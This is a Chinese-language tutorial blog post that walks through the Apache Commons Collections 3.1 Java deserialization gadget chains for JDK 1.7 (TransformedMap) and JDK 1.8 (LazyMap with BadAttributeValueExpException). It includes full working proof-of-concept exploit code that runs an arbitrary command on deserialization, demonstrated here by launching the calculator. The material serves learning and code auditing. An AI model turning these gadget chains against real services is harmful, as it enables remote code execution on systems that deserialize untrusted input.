本文首发于先知社区:从apache-commons-collections中学习java反序列化 - 先知社区 (aliyun.com)
前言 java安全学习的第一篇文章,apache commons collections3.1 的反序列化漏洞是java历史上最出名同时也是最具有代表性的反序列化漏洞,废话不多说,我们直接上手分析。希望能帮助到和我一样的初学者。
环境准备
jdk 1.7版本
IntelliJ IDEA
File -> Project Structure ->Modules-> Dependencies ->JARs or directories
commons-collections-3.1 jar
基础知识准备 java反射机制 反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。
Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。
1 2 3 4 5 Java.lang.Class; Java.lang.reflect.Constructor ; Java.lang.reflect.Field; Java.lang.reflect.Method ; Java.lang.reflect.Modifier;
获取反射中的Class对象 1 2 3 4 5 6 7 #Class . forName 静态方法 Class clz = Class . forName("java.lang.String" ) ; #使用 .class 方法。 Class clz = String .class ; #使用类对象的 getClass() 方法 String str = new String("Hello" ) ; Class clz = str.getClass() ;
获取方法 1 2 3 getMethod方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class 的对象 public Method getMethod (String name, Class <?>... parameterTypes)
反射Runtime执行本地命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Class runtimeClass1 = Class . forName("java.lang.Runtime" ) ; Constructor constructor = runtimeClass1.getDeclaredConstructor() ; constructor.setAccessible(true ) ; Object runtimeInstance = constructor.new Instance() ; Method runtimeMethod = runtimeClass1.getMethod("exec" , String.class ) ; Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd); InputStream in = process.getInputStream() ; System . out.println(IOUtils .to String(in , "UTF-8" ) );
Java反序列化 类似php中反序列化使用的魔术方法,比如__destruct函数。在java中,readObject 方法在反序列化漏洞时起到了至关重要的作用,利用ObjectInputStream的readObject方法进行对象读取的时候,当readObject()方法被重写的时候,反序列化该类时调用的就是重写的方法。
1 2 3 4 5 private void writeObject(ObjectOutputStream oos) private void readObject(ObjectInputStream ois) private void readObjectNoData()protected Object writeReplace() protected Object readResolve()
反序列化时会自动调用readObject(ObjectInputStream)方法。我们通过在需要序列化/反序列化的类中定义readObject
和writeObject
方法从而实现自定义的序列化和反序列化操作。
漏洞原理分析 我们在分析cc链反序列化化漏洞的主要思路其实就是两条:
利用InvokerTransformer
、 ConstantTransformer
、 ChainedTransformer
等类构建反射链,利用java的反射机制,然后通过类中的transformer类来调用。
找Common Collections中的类在反序列化时,会触发调用 transform
方法的情况,并以此来构建反序列化漏洞的攻击链。
接下来我们使用IDEA跟进代码进行审计
一、寻找反射链 IDEA跟进类中(48~61行):
可以看到此处的transform方法调用了java的反射机制,并且发现this.iMethodName
, this.iParamTypes
, this.iArgs
我们都是可以直接输入的。而input
是在函数调用的时候传入的,我们同样是可控的。
当我们向对应参数传入以下值,即可以调用代码执行:
存在一组可控的反射调用 是cc链存在反序列化漏洞的根本原因,但是这里我们只能只能在本地服务器上执行。是无法达成我们想要远程执行命令的效果,这里主要的限制是我们没有没有办法直接传入Runtime类的实例对象。
要想真正的形成调用链,我们仍然需要利用java的反射机制来调用函数,并且至少要调用四个方法:
1 getMethod () , getRuntime () , exec () ,invoke ()
所以我们之后找到了ChainedTransformer
类。
IDEA跟进53~63行
简单的分析代码逻辑,该类的构造函数接受一个数组,我们只需要传入一个数组chainedTransformer
就可以依次去调用每一个类的transform方法。
接口函数,在上面的循环中进入了不同的函数。给一个初始的object,然后输出作为下一个输入,从而实现链式调用。
最后的反射poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String .class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String .class }, new Object [] {"open -a Calculator" }) }; Transformer transformerChain = new ChainedTransformer (transformers);
我们已经构造好了恶意的反射链条,现在我们的目标是触发该类的transform方法。
二、寻找触发链 1 2 3 4 5 某个类的readObject方法 ->一系列调用 ->Transformerchain的transformer方法 ->执行反射链 ->执行Runtime.getRuntime().exec(new String[]{"calc" })
找到一个 tansform()
方法 , 该方法所属的实例对象是可控的
找到一个重写的 readObject()
方法 , 该方法会自动调用 transform()
方法.
Transmap类 在一个元素被添加/删除/或是被修改时,会调用transform方法。我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例。
因此,我们可以先构造一个TransformeMap实例,然后修改其中的数据,然后使其自动调用我们之前设定好的transform()方法。
调用链: 1 2 3 4 5 6 ->ObjectInputStream.readObject() ->AnnotationInvocationHandler.readObject() ->TransformedMap.entrySet().iterator().next().setValue() ->TransformedMap.checkSetValue() -> TransformedMap.transform()->ChainedTransformer.transform()
分析: 首先看/org/apache/commons/collections/map/TransformedMap
1 2 3 4 5 protected TransformedMap (Map map , Transformer keyTransformer, Transformer valueTransformer) { super(map ); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
TransformedMap
中的valueTransformer
在初始化时我们是可控的.
1 2 3 4 5 public Object put(Object key , Object value) { key = this .transformKey(key ); value = this .transformValue(value); return this .getMap().put(key , value); }
当执行put方法时会进入transformValue
方法:
1 2 3 protected Object transformValue(Object object ) { return this .valueTransformer == null ? object : this .valueTransformer.transform(object ); }
我们可以控制这里的valueTransformer
值为ChianedTransformer即可触发利用链。
但是目前的构造仍然需要Map中的某一项去调用setValue(),我们如果想要在反序列化调用readObject()时直接触发呢?
调用java自带类AnnotationInvocationHandler
中重写的readObject方法,该方法调用时会先将map转为Map.entry,然后执行setvalue操作。
1 var5 .setValue ((new AnnotationTypeMismatchExceptionProxy (var8 .getClass () + "[" + var8 + " ] ")).setMember ((Method )var2 .members ().get (var6 )));
TransformedMap利用Map.Entry取得第一个值,调用修改值的函数,会触发的setValue()代码
1 2 3 4 public Object setValue (Object value ) { value = this .parent.checkSetValue(value ); return this .entry.setValue(value ); }
接着到了TransoformedMap的checkSetValue()方法。
1 2 3 protected Object checkSetValue (Object value ) { return this .valueTransformer.transform(value ); }
这里的valueTransformer.transform实际上就是ChianedTransformer类的transform方法。就会触发刚刚我们构造的反射链。
最后的POC: 这里直接上其他大师傅们的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package Serialize2; import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class ApacheSerialize2 implements Serializable { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class []{String.class , Class [].class }, new Object []{"getRuntime", new Class [0 ]}), new InvokerTransformer("invoke", new Class []{Object .class , Object [].class }, new Object []{null , new Object [0 ]}), new InvokerTransformer("exec", new Class []{String.class }, new Object []{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "sijidou"); Map transformedMap = TransformedMap.decorate(map, null , transformerChain); Class cl = Class .forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class .class , Map.class ); ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class , transformedMap); //序列化 FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(instance); objectOutputStream.close (); //反序列化 FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close (); System .out .println(result); } }
JDK1.8–LazyMap利用链 对于JDK 1.8来说,AnnotationInvocationHandler
类中关键的触发点,setvalue发生了改变。所以我们需要寻找新的类重写readObject来实现调用,
调用链 1 2 3 4 5 6 反序列化BadAttributeValueExpException ->BadAttributeValueExpException . readObject() ->TideMapEntry .to String() ->TideMapEntry . getValue() ->LazyMap . get() ->ChainedTransformer . transform()
分析 我们首先看一下LazyMap这个类,这个类也实现了一个map接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected LazyMap(Map map , Transformer factory){ super (map ); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } this .factory = factory; } public Object get (Object key ){ if (!this .map .containsKey(key )) { Object value = this .factory.transform(key ); this .map .put(key , value); return value; } return this .map .get (key ); }
我们可以看到get方法 中如果没有找到key的键值,就会调用factory.transform(key);
,这里的factory变量属于Transformer接口类并且具体使用哪一个类来实例化对象是我们可控的。也就可以形成调用链。
那么如何去自动调用get()方法,跟进TiedMapEntry
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public TiedMapEntry(Map map , Object key ){ this .map = map ; this .key = key ; } public String toString(){ return getKey() + "=" + getValue(); } public Object getValue(){ return this .map .get (this .key ); }
在TiedMapEntry
中,构造时传入使用LazyMap
,调用tostring()
方法,然后紧接着就会调用LazyMap类对象的get方法。
那么到目前为止,我们仍然需要一个类可以在反序列化重写readObject()时可以自动调用toString方法。完整的利用链就可以形成。
BadAttributeValueExpException类 看到BadAttributeValueExpException
的readObject
反序列化方法,调用了toString
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean ) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
其中 valObj
为构造的 TiedMapEntry
类的对象,可以看到其中调用了该类的 toString
函数。
所以,我们只要构造一个BadAttributeValueExpException
对象,并注入我们精心制造的TiedMapEntry
对象。就可在以在反序列时,执行任意命令。
最后的POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public class Exec { public static BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1 ) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime .class ), new InvokerTransformer("getMethod" , new Class [] { String.class , Class [].class }, new Object[] { "getRuntime" , new Class [0 ] }), new InvokerTransformer("invoke" , new Class [] { Object.class , Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class [] { String.class }, execArgs), new ConstantTransformer(1 ) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, entry); Class <? extends Transformer> aClass = transformerChain.getClass(); Field iTransformers = aClass.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); return val; } public static void main(String[] args) throws Exception { BadAttributeValueExpException calc = getObject("calc" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(calc); objectOutputStream.flush(); objectOutputStream.close(); byte [] bytes = byteArrayOutputStream.toByteArray(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = objectInputStream.readObject(); } }
参考文章 https://b1ue.cn/archives/166.html
https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.secpulse.com/archives/137940.html
https://shaobaobaoer.cn/java-an-quan-xue-xi-bi-ji-si-apache-commons-collectionsfan-xu-lie-hua-lou-dong/
https://security.tencent.com/index.php/blog/msg/97
https://www.xmanblog.net/java-deserialize-apache-commons-collections/
https://lzwgiter.github.io/Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://xz.aliyun.com/t/4558#toc-0